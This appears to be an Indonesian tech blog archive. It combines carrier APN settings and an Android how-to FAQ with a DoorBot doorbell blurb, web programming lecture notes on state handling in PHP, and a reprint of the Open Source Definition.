Profile Name : TSEL GPRS
APN : Telkomsel
User name : wap
Password : wap123
Authentication : Normal
Gateway IP address : 10.1.89.130
Homepage : http://wap.telkomsel.com
Data Bearer : GPRS
Proxy port number : 9201 atau 8000

MMS
Profile name: tel-MMS
Data Bearer: GPRS
Access Point Name: mms
Username: wap
Prompt Password: No
Password: wap123
Authentication: Normal
Proxy address: 10.1.89.150
Homepage: http://mms.telkomsel.com/
Connection Security: Off

Kartu Mentari :
GPRS
Profile Name : INDOSATGPRS
Homepage URL : http://wap.indosat.com
IP Address : 10.19.19.19
Bearer : GPRS
User Name : indosat
Password : indosat
APN : indosatgprs

MMS
Profile Name : INDOSATGPRS
Homepage URL : http://mmsc.indosat.com
IP Address : 10.19.19.19:8080
Bearer : GPRS
User Name : indosat
Password : indosat
APN : indosatmms

Kartu IM3 :
GPRS
Profile name : M3-GPRS
Access point name : www.indosat-m3.net
User name : gprs
Password : im3
Authentication : Normal
Homepage : http://wap.indosat-m3.net
IP address : 010.019.019.019
Port : 9201 (standard), 8080 (proxy)

MMS
Profile name : M3-MMS
Access point name : indosatmms
User name : indosatmms
Password : indosatmms
Authentication : Normal
Homepage : http://mmsc.indosat-m3.net
IP address : 010.019.019.019
Port : 9201 (standard), 8080 (proxy)

Kartu XL :
GPRS
Profile name: XL-GPRS
Data Bearer: GPRS
Access Point Name: www.xlgprs.net
Username: xlgprs
Prompt Password: No
Password: proxl
Authentication: Normal
Homepage: http://wap.lifeinhand.com
Connection Security: Off
Session Mode: Permanent
IP Address: Automatic
Proxy Server Address: 202.152.240.050
Proxy Port Number: 8080

MMS
Profile name: XL-MMS
Data Bearer: GPRS
Access Point Name: www.xlmms.net
Username: xlgprs
Prompt Password: No
Password: proxl
Authentication: Normal
Homepage: http://mmc.xl.net.id/servlets/mms
Connection Security: Off
Session Mode: Permanent
IP Address: Automatic
Proxy Server Address: 202.152.240.050
Proxy Port Number: 8080

Kartu AXIS :
GPRS
Profile name : AXIS
Data Bearer : GPRS atau PS
Access Point Name (APN) : AXIS
Username : AXIS
Prompt Password : No
Password : 123456
Authentication : Normal
Gateway/Proxy IP Address : 10.8.3.8
Gateway/Proxy Port : 9201 atau 8080
Homepage : http://wap.axisworld.co.id
Connection Security : Off
Session Mode : Permanent

MMS
Profile name : AXISmms
Data Bearer : GPRS atau PS
Access Point Name (APN) : AXISmms
Username : AXIS
Prompt Password : No
Password : 123456
Authentication : Normal
Gateway/Proxy IP Address : 10.8.3.8
Gateway/Proxy Port : 9201 atau 8080
Homepage / MMS Server : http://mmsc.AXIS
Connection Security : Off
Session Mode : Permanent

Kartu Telkomsel Flash :
GPRS
Profile Name : TSEL-Flash
APN : flash
User name : (kosongkan)
Password : (kosongkan)
Authentication : Normal
Gateway IP address : 10.1.89.130
Homepage : http://www.telkomsel.com/flash
Data Bearer : GPRS
Proxy port number : 9201 atau 8000

Indosat Broadband :
GPRS
Profile Name : INDOSAT-BROADBAND
Homepage URL : http://wap3g.indosat.com
IP Address : 10.19.19.19
Bearer : GPRS
User Name : indosat
Password : indosat
APN : indosatgprs


1. Bagaimana cara mengetahui versi firmware atau OS Android di handset?
    Untuk mengetahui versi firmware yang terpasang di handset dapat dilakukan dengan melihat ke Launcher Menu > Settings > About phone, info di Firmware version menginfokan versi firmware yang terpasang di handset.

2. Bagaimana cara men-setting APN untuk kebutuhan akses data internet dan MMS dengan SIM Card Matrix Indosat 3G Broadband?
    Untuk men-setting APN untuk kebutuhan data internet dan mms dapat dilakukan dengan ke Launcher Menu > Settings > Wireless controls > Mobile network settings > Access Point Names diteruskan dengan menekan tombol Menu dan New APN. Masukan dua parameter berikut:

HSDPA/EDGE/GPRS:
Name : Indosat 3G
APN : indosat3g
Username : indosat
Password : indosat
MCC : 510
MNC : 01
APN type : default


MMS:
Name : Indosat MMS
APN : indosatmms
Username : indosat
Password : indosat
MMSC : http://mmsc.indosat.com
MMS proxy : 10.19.19.19
MMS port : 8080
MMS protocol : wap 2.0
MCC : 510
MNC : 01
APN type : mms

    Bagi pengguna di luar Matrix 3G Broadband, untuk info APN, yang harus di-setting buat akses data internet adalah indosatgprs. Sedangkan bagi pengguna Matrix (0855/bright) dan IM3 untuk nilai MNC yang harus di-setting adalah MNC: 21.

3. Bagaimana cara mengetahui total size storage yang tersisa di internal handset dan SD Card?
    Untuk melihat total size storage yang tersisa pada handset dan SD Card yang terpasang dapat dilihat di Launcher Menu > Settings > SD card & phone storage. Di sana akan diinformasikan total storage yang tersisa untuk internal handset storage dan SD Card.


4. Bagaimana cara memasukan data document, foto dan lainnya ke dalam SD Card di handset?
    Agar dapat memasukan file ke dalam SD Card di handset dapat dilakukan dengan cara menyambungkan handset ke PC/laptop melalui kabel USB dilanjutkan dengan menarik ke bawah notification bar di paling atas home screen pada handset. Pilih USB connected dilanjutkan dengan menekan pilihan tombol mount hingga di PC/laptop akan muncul pop-up windows atau removable disk dan diteruskan dengan mengkopi file yang ingin ditaruh di SD Card handset.

    Setelah menaruh file ke SD Card, untuk men-disable-kan mapping SD Card di PC/laptop dapat dilakukan dengan menarik ke bawah notification bar di paling atas home screen pada handset kembali dan pilih turn off USB storage dan tekan tombol off.

5. Bagaimana caranya agar dapat men-set jaringan yang digunakan selalu ke jaringan 2G (GSM only)?
    Untuk men-set agar jaringan yang digunakan selalu 2G network dapat dilakukan dengan dua cara, yaitu:
    * Masuk ke Launcher Menu > Settings > Wireless controls > Mobile network settings, contreng “Use only 2G networks
    * Masuk ke phone dan tekan *#*#INFO#*#* atau *#*#4636#*#*, setelah itu masuk ke Phone information dan set preferred network type ke GSM Only.


6. Bagaimana cara login google account di android handset?
    Untuk dapat login atau menggunakan google account dapat dilakukan dengan membuka salah satu aplikasi google yang ada di handset, misal aplikasi gmail, gtalk dan market. Saat pertama kali salah satu aplikasi tersebut dijalankan kita akan diminta untuk memasukan user dan password akun google kita.

7. Bagaimana mereset kembali handset ke seperti semula ketika baru membelinya (factory data reset)?
    Factory data reset atau mengembalikan ke setting default handset dapat dilakukan dengan masuk ke Launcher Menu > Settings > Security dilanjutkan dengan memilih/menekan Factory data reset.


8. Bagaimana cara mengganti google user account yang sedang digunakan di handset?
    Untuk mengantinya kita harus sign out dari Google account yang sedang digunakan setelah itu login kembali dengan user lainnya. Untuk sign out dapat dilakukan dengan dua cara yaitu :
    * Masuk ke Launcher Menu > Setting > Applications > Manage application dan di aplikasi Gmail, Gmail storage, Google Apps & Google search lakukan clear data setelah itu login dengan user yang baru
    * Dengan melakukan factory data reset, tetapi dengan cara ini semua data dan aplikasi yang terinstal di luar bawaan handset yang berada internal storage akan terhapus sehingga sebaiknya lakukan backup data dengan aplikasi backup/restore sebelum melakukannya.

9. Bagaimana cara mem-forward SMS yang didapat?
    Forward SMS dapat dilakukan dengan menekan dan tahan pesan yang ingin di-forward hingga muncul menu pilihan forward SMS dan setelah itu masukan nomor tujuan yang hendak dikirim.

10. Bagaimana cara menginstal aplikasi dari file *.apk yang sudah didownload?
    Sebelum menginstal sebuah file *.apk dari sebuah aplikasi, pastikan ke Launcher Menu > Settings > Application > Unknown source sudah dicontreng. Setelah itu lakukan:
    * Taruh file *.apk dari aplikasi di SD Card
    * Instal aplikasi Astro File Manager yang dapat diunduh dan di install dari market
    * Klik file *.apk di tempat file tersebut ditaruh
    * Tunggu hingga aplikasi selesai di install


11. Bagaimana mengganti mode ringtone menjadi silence & vibrate di handset?
    Untuk mengganti ke mode ringtone menjadi silence dan vibrate dapat dilakukan dengan menekan dan menahan tombol power hingga keluar menu dan diteruskan dengan memilih silence atau vibrate. Untuk menghidupkan kembali ke menu berbunyi, lakukan hal yang sama seperti sebelumnya.

12. Bagaimana caranya supaya data contact di Microsoft outlook dapat dipindahkan ke contact di handset?
    Untuk memindahkan data contact yang disimpan di Microsoft Outlook dapat dilakukan dengan mengexport data di contact Microsoft Outlook menjadi file csv dimana setelah itu data tersebut diimport ke contact yang ada di web Gmail sehingga data tersebut akan dicatat di handset ketika proses synchronize Gmail berjalan.

13. Bagaimana caranya memindahkan contact yang ada di sim card ke contact di handset?
    Untuk mengkopi data contact yang ada di simcard dapat dilakukan dengan menekan tombol menu dihandset dan masuk ke Import/Export dimana setelah itu pilih Import from SIM Card dari menu pilihan yang keluar.

14. Bagaimana mematikan T9 di keyboard?
    Untuk men-disable-kan T9 ketika mengetik dapat dilakukan dengan masuk ke Launcher Menu > Settings > Language & keyboard > Android keyboard, lakukan untick pada Prediction atau Suggestion.

15. Apakah bisa jika ingin menambahkan ringtone ke handset?
    Nada dering atau ringtone dapat ditambahkan di luar apa yang telah diberikan di handset. Salah satu caranya yaitu dengan membuat direktori yang diberi nama media di SD Card, di mana di dalam direktori media buat pula direktori ringtones untuk nada dering telepon yang ingin ditambahkan, direktori notifications untuk nada dering notifikasi, dan direktori alarams untuk nada dering alarams yang digunakan. Taruh file ringtone yang ingin ditambahkan sesuai dengan direktori nada dering akan digunakan.

DoorBot: bel pintu dengan kamera yang punya koneksi Wi-Fi


Punya bel pintu dan ketika ada yang ngebel, anda berlari cepat dari kamar mandi dan tahu-tahunya cuma tukang jualan bakso atau parahnya lagi penagih hutang. Kesal kan?

DoorBot adalah sebuah bel pintu nirkabel dengan kamera dan koneksi Wi-Fi yang akan mengirim gambar dan suara ketika bel ditekan ke ponsel atau tablet.


Dengan begini, anda tidak perlu langsung berlari ke pintu tetapi cukup lihat dari ponsel siapa yang datang dan anda bisa melakukan pembicaraan langsung dengan si tamu yang mungkin sama sekali tidak diundang.
Dan karena ini menggunakan Wi-Fi, DoorBot juga bisa diakses melalui internet sehingga walaupun kita sedang tidak berada di rumah, kita tetap bisa tahu siapa yang datang.
DoorBot mudah dipasang seperti layaknya bel pintu biasa dan menggunakan 4 buah baterai jenis AA.
Oh iya, DoorBot juga sangat cocok untuk dipasangkan dengan Lockitron yaitu kunci pintu yang juga bisa diakses melalui ponsel.
Bisa dibayangkan kalau anda memasang kedua produk ini, begitu ada teman yang datang, anda bisa tahu dan langsung membukakan pintu melalui ponsel walaupun anda sedang tidak berada di rumah.
DoorBot dijual dengan harga US$ 169 sedangkan kalau dipaketkan dengan Lockitron harganya menjadi US$ 319.





Source : doorbot
DoorBot – The Wi-Fi Enabled "Smart" Doorbell

Konsep Pemrograman Web

Hi, brother & sista,... Uda lama nih Aku gak nongol & eksis lagi update blog ini.
berhubung ada tugas kuliah, tentang pemrograman web. Aku mau posting tentang "Konsep Pemrograman Web" :-P. Sebelumnya Apa itu konsep Pemrograman Web? pasti pada tau semua ya? (Ah, berarti Aku sendiri yang ketinggalan jaman nih :'( ) Ok, langsung deh. check it prot! :-D


Konsep Pemrograman Web

Pemrograman web yaitu membuat aplikasi berbasis web. Sedangkan aplikasi berbasis web adalah aplikasi yang di buat dengan memanfaatkan mekanisme dan aplikasi yang sudah ada pada sistem web (WWW).

Sistem web sebenarnya merupakan aplikasi yang :
- Berarsitektur client-server
     > Software web browser di sisi client
     > Software web server di sisi client
- Menggunakan protokol HTTP dalam komunikasi antara client dan server
- Mempunyai fungsi untuk mengambil/menjalankan isi file dokumen web di server dan menampilkannya di sisi client

Tujuan membuat aplikasi berbasis web :
- Memperkaya fungsi web server dengan cara menambahkan program pada dokumen web yang akan dieksekusi oleh server ketika file dokumen web tersebut diakses oleh web server.
Misalnya : program yang mengambil data ke basis data untuk di tampilkan ke web browser.
- Memperkaya interaktivitas dokumen dengan cara menambahkan program pada dokumen web yang akan dieksekusi oleh web browser ketika file dokumen tersebut ditampilkan oleh web browser.
Misalnya : program yang memvalidasi data masukan pada form sebelum disubmit ke web server.

Kelebihan dan kekurangan aplikasi berbasis web :
Kelebihan :
- Dapat diakses kapan pun dan darimana pun selama ada internet
- Dapat diakses hanya dengan menggunakan web browser (umumnya sudah tersedia di PC, PDA, dan handphone terbaru), tidak perlu menginstall aplikasi client khusus
Kekurangan :
- Antarmuka yang dapat di buat terbatas sesuai spesifikasi standar untuk membuat dokumen web dan keterbatasan kemampuan web browser untuk menampilkannya
- Terbatasnya kecepatan internet mungkin membuat respon aplikasi menjadi lambat

Sebelumnya ada yang perlu di pelajari dalam membuat aplikasi berbasis web, antara lain :
Di sisi client :
- Sintaks pembuatan dokumen web (HTML & CSS)
- Client side scripting (JavaScript)
Di sisi server :
- Mekanisme pemanggilan program dan pengambilan output program oleh web server (CGI)
- Server side scripting (PHP, JSP, ASP, dll. Untuk contoh: PHP)
Penghubung :
- Sintaks pengalamatan dokumen web (URL)
- Protokol komunikasi (HTTP)

Mekanisme CGI(Common Gateway Interface) :
> Jika dokumen web yang diminta oleh web browser merupakan file program atau file HTML yang disisipi program, maka web server akan menjalankan (run) file tersebut dengan bantuan interpreteratau sistem operasi.
> Informasi yang diberikan oleh web kepada program :
   - Server variables : berbagai informasi yang ada pada HTTP request yang sedang diterima, nama dan path file program, kapabilitas web server, dll
   - Environment variables : informasi yang telah diset (mungkin oleh aplikasi lain) pada lingkungan sistem operasi
   - Cookie : Isi cookie yang disimpan di web browser
   - Request parameter : input dari user yang dikirimkan bersamaan dengan HTTP request oleh web browser
> Hasil output program ke standart output (screen) akan diambil oleh web server untuk dikirimkan kepada web browser sebagai HTTP response

CGI pada PHP
Pada PHP
- Server variables diletakkan pada predefined $_SERVER
   > $_SERVER["PHP_SELF"] = path dan nama file yang sedang dieksekusi
   > $_SERVER["SERVER_NAME"] = nama host/server
   > $_SERVER["REQUEST_METHOD"] = jenis metode request
   > $_SERVER["HTTP_USER_AGENT"] = identitas web browser yang melakukan request
   > $_SERVER["REMOTE_ADDR"] = nomor IP user
   > dll
- Environment variables diletakkan pada predefined variable $_ENV
- Cookie diletakkan pada predefined variable $_COOKIE
- Request parameter diletakkan pada predefined variable $_GET, $_POST, $_FILES
- Output menggunakan perintah echo


Penanganan State

Konsep "task" dalam aplikasi berbasis web
Aplikasi mempunyai sejumlah fitur/fungsi yang memungkinkan user untuk melakukan sejumlah task. Untuk memenuhi suatu task, dapat digunakan satu atau lebih halaman websebagai antarmuka.
Contoh task yang menggunakan satu halaman web :
- Membaca artikel nomor tertentu
- Menambahkan entry baru pada guest book

Contoh task yang menggunakan lebih dari satu halaman web :
- Membeli barang secara online
   > halaman 1 : menampilkan daftar barang yang ada untuk dipilih
   > halaman 2 : mengisi alamat pengiriman
   > halaman 3 : menampilkan informasi transaksi yang baru saja dilakukan




Antara halaman web yang satu dengan yang lain harus ada komunikasi mengenai state dari task (misalnya : halaman 3 butuh informasi mengenai barang yang telah dipilih pada halaman 1)

Stateless HTTP
Permasalahan : HTTP bersifat stateless : satu request saling independen terhadap request lainnya, tidak ada state (variabel) yang di pertahankan.






Cara untuk mengatasi HTTP yang stateless :
- Message passing via URL/Form
- Cookie
- Session

Penanganan state













Message Passing via URL
Message Passing via URL merupakan nilai variabel yang dilewatkan melalui parameter URL.
KIRIM    : mengkonstruksi parameter pada URL
TERIMA : akses variabel $_GET









Message Passing via Form
Message Passing via Form merupakan nilai variabel yang dilewatkan melalui input tipe hidden pada form HTML.
KIRIM    : mengkonsruksi input tipe hidden dalam form
TERIMA : akses variabel $_GET atau $_POST (tergantung method pada form)









Cookie
Cookie merupakan nilai variabel yang disimpan di suatu tempat penyimpanan (file) di browser.
KIRIM    : setcookie ("name", "value");
TERIMA : akses variabel $_COOKIE

Keterbatasan :
- Cookie hanya dapat menyimpan sejumlah kecil data (4 kb/cookie, 20 cookie/domain, 300 cookie/client)
- Tidak semua browser dapat/mau menerima cookie











Session
Session merupakan nilai variabel yang disimpan di suatu tempat penyimpanan (file) di server.
KIRIM dan TERIMA : akses variabel $_SESSION
Fungsi untuk session handling : session_start(), session_id(), session_destroy(), dll

Keterbatasan :
-Session bergantung pada mekanisme state handling lain untuk menyimpan ID session


















Source : imam.staff.gunadarma.ac.id

Facebook Emoticon Terbaru dan Moderen














Sering chating dengan teman di facebook? pasti ada yang terasa kurang dan tentu saja bosan kan? dibandingkan bila kita chating menggunakan yahoo messenger yang mempunyai banyak smiley (emoticon). Sebenarnya facebook juga mempunyai smiley yang cukup banyak hanya saja pengguna facebook banyak yang tidak tahu kode untuk menampilkan smiley tersebut. Mau tambah asyik ngobrol dengan teman di facebook silakan pelajari dan sedot kode-kode smiley facebook berikut :
Download this : 
File          : Facebook Emoticon moderen
Password : scienceofit.blogspot.com

















The Open Source Definition (Original)


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=OPen source-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-

echo-zine 02
The Open Source Definition
Version 1.9~ www.opensource.org

The indented, italicized sections below appear as annotations to the Open Source
Definition (OSD)and are not a part of the OSD.A plain version of the OSD without
annotations can be found here.


./Introduction
Open source doesn't just mean access to the source code. The distribution terms
of open-source software must comply with the following criteria:

1. Free Redistribution
The license shall not restrict any party from selling or giving away the software
as a component of an aggregate software distribution  containing   programs  from
several different sources. The license shall not require a royalty  or  other fee
for such sale.

Rationale: By constraining the license to require free redistribution,we eliminate
the temptation to throw away many long-term gains in order to make a few short-term
sales dollars.If we didn't do this, there would be lots of pressure for cooperators
to defect.

2. Source Code
The program must include source code, and must allow distribution in source  code
as well as compiled form. Where some form of a product is  not  distributed  with
source code, there must be a well-publicized means of  obtaining  the source code
for no more than a reasonable  reproduction cost–preferably,  downloading via the
Internet  without charge. The  source code  must be the preferred form in which a
programmer would  modify  the program. Deliberately obfuscated source code is not
allowed.Intermediate forms such as the output of a preprocessor or translator are
not allowed.

Rationale: We require access to un-obfuscated source code because you can't evolve
programs without modifying them. Since our purpose is  to make  evolution easy, we
require that modification be made easy.

3. Derived Works
The  license must allow modifications and derived works, and must allow them to be
distributed under the same terms as the license of the original software.

Rationale: The mere ability to read source isn't enough to support independent peer
review and rapid evolutionary selection. For rapid evolution to happen, people need
to be able to experiment with and redistribute modifications.

4. Integrity of The Author's Source Code
The license may restrict source-code from being distributed in  modified  form only
if the license allows the distribution of "patch files" with the source code for the
purpose of modifying the program at build time. The license must explicitly  permit
distribution of software built from modified source code. The  license may  require
derived works to carry a different name or version number from the original software.

Rationale: Encouraging lots of improvement is a good thing, but users have a  right
to know who is responsible for the software they are using. Authors and maintainers
have reciprocal right to know what they're being asked to support and protect their
reputations.

Accordingly, an open-source license must guarantee that source be readily available,
but may require that it be distributed as pristine base sources plus patches. In
this way, "unofficial" changes can be made available but readily distinguished from
the base source.

5. No Discrimination Against Persons or Groups
The license must not discriminate against any person or group of persons.

Rationale:In order to get the maximum benefit from the process,the maximum diversity
of persons and groups should be equally eligible  to  contribute  to  open  sources.
Therefore we forbid any open-source license from locking anybody out of the process.

Some countries, including the United States, have export  restrictions  for  certain
types of software. An  OSD-conformant  license  may  warn  licensees  of  applicable
restrictions and remind them that they are obliged to obey the law; however, it may
not incorporate such restrictions itself.

6. No Discrimination Against Fields of Endeavor
The license must not restrict anyone from making use of the  program  in  a  specific
field of endeavor. For example, it may not restrict the program from being used  in a
business, or from being used for genetic research.

Rationale: The major intention of this clause is to prohibit license traps that prevent
open source from being  used  commercially.  We  want  commercial  users  to  join  our
community, not feel excluded from it.

7. Distribution of License
The rights attached to the   program  must  apply  to  all to  whom    the  program is
redistributed without the need for execution of an additional license by those parties.

Rationale:This clause is intended to forbid closing up software by indirect means such
as requiring a non-disclosure agreement.

8. License Must Not Be Specific to a Product
The rights attached to the program must not depend on the  program's  being  part of a
particular software distribution. If the program is extracted from that   distribution
and used or distributed within the terms of the program's license, all parties to whom
the program is redistributed should have the same rights as those that are granted in
conjunction with the original software distribution.

Rationale: This clause forecloses yet another class of license traps.

9. License Must Not Restrict Other Software
The license must not place restrictions on other software that is distributed along with
the licensed software. For example, the license must not insist that all other programs
distributed on the same medium must be open-source software.

Rationale: Distributors of open-source software have the right to make their own choices
about their own software.

Yes, the GPL is conformant with this requirement. Software linked with GPLed libraries
only inherits the GPL if it forms a single work, not any software with which they are
merely distributed.

*10. License Must Be Technology-Neutral
No provision of the license may be predicated on any individual technology or style of
interface.

Rationale: This provision is aimed specifically at licenses which require  an  explicit
gesture of assent in order to establish a  contract between   licensor  and  licensee.
Provisions mandating so-called "click-wrap" may conflict with   important methods   of
software distribution such as   FTP download, CD-ROM anthologies,  and web  mirroring;
such provisions may also hinder code re-use. Conformant licenses  must   allow for the
possibility that (a) redistribution of the software will  take  place    over   non-Web
channels that do not support click-wrapping of the download, and that (b)  the covered
code (or re-used portions of covered code) may run in a non-GUI environment that cannot
support popup dialogues.

*sengaja tidak diartikan supaya tidak merubah arti sesungguhnya, harap maklum [echo staff]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-